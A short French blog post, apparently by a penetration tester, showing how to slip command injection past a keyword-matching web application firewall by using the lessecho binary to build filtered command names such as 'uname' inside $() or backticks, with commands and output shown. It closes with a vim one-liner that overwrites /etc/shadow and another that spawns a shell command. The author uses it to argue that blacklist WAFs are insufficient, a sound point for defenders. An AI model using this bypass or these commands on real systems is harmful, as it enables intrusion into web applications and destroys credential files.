Petit truc pour injecter de la commande avec un Waf négatif devant;
En reviewant la liste plus qu’exhaustive des injections interdites par les signatures d’un WAF (Web Application Firewall) commercial. Et quand je dit exhaustive je pese mes mots, le bignou interdit même emacs, nano et vi (non mais sérieux ?? Qu’on me briefe sur un use case). Je suis tombé sur un binaire linux. Dispo dans /bin que ce soit chez Red-Hat, SuSe ou Debian. il se nomme lessecho. Évidemment il est ignoré de toutes signatures et jusqu’a hier, il m’était aussi inconnu. Lessecho est une commande qui a une petite particularité intéressante pour bypasser tout waf negatif (un Waf qui match des mots clef quoi).
lessecho permet d’ajouter des quotes autour d’un mot.
$ lessecho -a prout "prout"
mais surtout lessecho permet de choisir ces quotes.
$ lessecho -a -oX -cY prout XproutY
Le plus vifs d’entre vous auront déja trouvé le moyen de bypasser les signatures de leur waf si “$”,”(“,”)” et ” ” passent. Attention, moment de fiertée ;
$ $(lessecho -a -ou -ce nam) -a Linux Anger 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux
L’autre solution étant la quote d’exécution.
$ `lessecho -a -ou -ce nam` -a Linux Anger 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux
Pour les moins vifs; ce lessecho met “u” devant, “e” derriere le mot nam. Ca fait la commande “uname” qui passe le waf comme une fleur. Car la signature qui cherche “uname” ne trouve jamais la string.
$ lessecho -a -ou -ce nam uname
Encore une nouvelle raison de changer d’idée pour ce qui pensent que le modèle négatif est suffisant.
vim /etc/shadow -c “%s/./x/g” -c “x”
vim -c ‘!uname -a’
Merci !